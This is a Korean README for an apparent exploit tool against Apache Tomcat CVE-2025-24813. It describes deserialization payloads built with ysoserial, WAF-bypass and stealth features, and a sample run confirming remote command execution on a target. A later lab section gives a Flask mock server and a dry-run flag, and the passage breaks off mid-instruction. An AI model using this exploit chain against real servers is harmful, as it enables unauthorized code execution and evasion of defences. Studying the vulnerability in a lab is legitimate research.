
이 저장소는 교육 및 사이버보안 연구 목적으로 개발된 자동화된 익스플로잇으로, Apache Tomcat (CVE-2025-24813)의 잠재적인 원격 코드 실행(RCE) 취약점을 시연하기 위한 것입니다.
⚡ 버전: 1.0 🛡️ CVE ID: CVE-2025-24813 (Apache Tomcat RCE) 🧬 페이로드:
ysoserial/Java🌐 모드: 대화형 + 스텔스 🔬 용도: 윤리적, 조사용, 교육용
이 도구는 미래지향적 익스플로잇 제품군으로 설계되었으며, 다음에 중점을 둡니다:
🧪 사이버보안 전문가, 연구원, 침투 테스터, 레드팀을 위해 설계되었습니다.
✅ 대화형이고 직관적인 인터페이스
✅ 동적 페이로드(ysoserial 또는 컴파일된 Java)
✅ 위장(WAF 우회) 헤더
✅ 자동 우회 + 페이로드 분할
✅ 백엔드 실행 핑거프린팅
✅ 대상별 상세 로깅
✅ 사이버펑크 스타일 동적 배너 (🔮 글리치 애니메이션)
✅ 콘솔 라이브 피드백 (Rich & Colorama 사용)
다음 명령어로 필요한 패키지를 설치하세요:
pip install -r requirements.txt
의존성:
requests
colorama
rich
validators
그리고 다음이 준비되어 있어야 합니다:
PATH에 Java 및 javacysoserial.jar스크립트 실행:
python3 POC-Exploit_CVE_2025_24813.py
그리고 설정을 완료하세요:
🧬 페이로드 유형 선택 💣 실행할 명령어 지정 🌐 대상 URL 입력 🔧 우회 및 SSL 설정 조정
🔗 [?] 대상 URL 입력: https://victima.org
💣 [?] 실행할 명령어: whoami
🧬 [?] 페이로드 유형: ysoserial
📂 [?] ysoserial.jar 경로: ysoserial.jar
🔧 [?] Gadget: CommonsCollections6
🔐 [?] SSL 확인? (예/아니오): 아니오
🚀 실행 중...
🧬 WAF 탐지됨... 전략 변경
⚙️ 페이로드 업로드 중...
💥 원격 실행 확인
✅ 결과: 'apache'
┌──────────────────────────────┐
│ 대화형 모드 │
├──────────────────────────────┤
│ URL 검증 │
│ 세션 감지 │
│ WAF 감지 │
│ 페이로드 생성 │
│ PUT을 통한 우회 업로드 │
│ 실행 확인 │
└──────────────────────────────┘
↘ 대상별 로그
ysoserial 도구 기반, 취약한 가젯을 직렬화하여 명령어를 실행합니다..java를 컴파일하여 서버에서 원격 명령어를 실행합니다.CommonsCollections6Spring1Jdk7u21POC-Exploit_CVE_2025_24813.py # 메인 스크립트
ysoserial.jar # 'ysoserial' 사용 시 필요
logs/ # 대상별 개별 로그 폴더
payload.ser # 임시로 생성된 페이로드
Exploit.java / .class # Java 임시 파일
이 도구는 법적 및 교육 목적으로만 제작되었습니다.
✅ 허용:
🚫 금지:
저자와 기여자는 오용에 대해 책임을 지지 않습니다. 귀하는 귀하의 행동에 책임이 있습니다.
ysoserial, Java, Rich, Colorama, requests📄 CVE-2025-24813: Apache Tomcat 원격 코드 실행 🔗 CVE MITRE에서 세부 정보 보기
MIT License
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files...
자세한 내용은
LICENSE파일을 참조하세요.
이 README와 스크립트는 몰입감 있고 시각적이며 우아한 경험을 위해 설계되었으며, 새로운 시대의 미래지향적 사이버보안과 목적에 부합합니다.
✨ 단순한 익스플로잇이 아닙니다... 우회와 디지털 통제의 기술적 교향곡입니다.
권장 버전: Python 3.8+
설치해야 할 Python 라이브러리:
pip install requests colorama
스크립트는 두 가지 페이로드 방식을 사용합니다:
따라서 다음이 필요합니다:
Java JDK (코드를 컴파일해야 하므로 JRE만으로는 부족) 다음 명령어로 확인하세요:
java -version
javac -version
두 명령어 모두 작동하면 준비된 것입니다.
.jar 다운로드 👉 https://github.com/frohoff/ysoserial
스크립트와 같은 디렉토리에 저장하거나 요청 시 전체 경로를 입력하세요. 예시:
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > test.ser
calc.exe)는 계산기를 엽니다.gnome-calculator 또는 xcalc 등으로 변경할 수 있습니다.Python 3.8+ 설치
라이브러리 설치:
pip install requests colorama etc
Java JDK 8+ 설치
java -version
javac -version
스크립트 폴더에 ysoserial.jar 다운로드
👉 이 모든 준비가 완료되면 안전한 실습 모드(통제된 환경에서만 테스트)로 스크립트를 실행할 수 있습니다.
버전: 1.0 목적: 이 가이드는 실제 시스템에 영향을 주지 않고 스크립트를 테스트할 수 있는 완전히 안전한 환경을 준비하는 방법을 설명합니다. 테스트 서버(모의), 안전 모드(DRY_RUN / SAFE_TEST), 랩에서 도구를 실행하기 위한 명확한 단계를 포함합니다.
pip 사용 가능virtualenv 또는 venv의존성 설치:
python3 -m venv .venv
source .venv/bin/activate # Linux / macOS
.\.venv\Scripts\activate # Windows (PowerShell/Command Prompt)
pip install -U pip
pip install requests colorama flask
참고:
flask는 로컬 모의 서버(mock)에서만 사용됩니다.
mock_server.py 파일을 만들고 다음 내용을 입력하세요. 이 서버는 스크립트가 예상하는 엔드포인트를 시뮬레이션하고 제어된 상태(200, 409, 500)를 반환하여 실제 서버를 건드리지 않고 스크립트 로직을 검증할 수 있게 합니다.
# mock_server.py — 안전한 테스트 서버
from flask import Flask, request, make_response, jsonify
app = Flask(__name__)
uploads = {}
@app.route('/index.jsp', methods=['GET'])
def index():
# JSESSIONID 쿠키 또는 "Session ID" 텍스트를 반환할 수 있는 페이지 시뮬레이션
resp = make_response('Index page — Session ID: testsession')
resp.set_cookie('JSESSIONID', 'testsession')
return resp
@app.route('/check.txt', methods=['PUT'])
def check_put():
# 쓰기 가능한 리소스 시뮬레이션
return ('OK', 200)
@app.route('/uploads/../sessions/<session_id>.session', methods=['PUT'])
def upload_session(session_id):
# 업로드가 수락되었지만 409 반환 (스크립트가 예상하는 동작)
uploads[session_id] = True
return ('Conflict - uploaded', 409)
@app.route('/', methods=['GET'])
def root():
# 쿠키가 일치하고 세션이 "업로드"되었다면 역직렬화 실패를 시뮬레이션하기 위해 500 반환
session = request.cookies.get('JSESSIONID')
if session and uploads.get(session):
return ('Internal Server Error', 500)
return ('Hello from mock server', 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000, debug=True)
실행 방법:
python mock_server.py
# 모의 서버는 http://127.0.0.1:8000 에서 수신 대기합니다.
테스트를 위해 실제 페이로드를 생성할 필요는 없습니다. 스크립트가 업로드할 수 있는 간단한 파일을 만드세요:
echo "DUMMY_PAYLOAD" > payload.ser
이 파일은 실행 가능한 코드를 포함하지 않습니다: 업로드 로직을 검증하고 모의 서버의 응답을 확인하는 용도로만 사용됩니다.
스크립트가 외부 유틸리티(Java/ysoserial)를 호출하거나 위험한 작업을 실행하지 않도록 하려면, 메인 스크립트 시작 부분(모든 생성/subprocess 호출 전)에 다음 블록을 추가하세요:
import os
SAFE_TEST = os.environ.get('SAFE_TEST', '0') == '1'
그런 다음 생성/업로드 함수를 수정(또는 래핑)하여 SAFE_TEST가 True일 때 안전하게 동작하도록 합니다.
generate_ysoserial_payload 및 generate_java_payload에 대한 최소한의 변경 예시: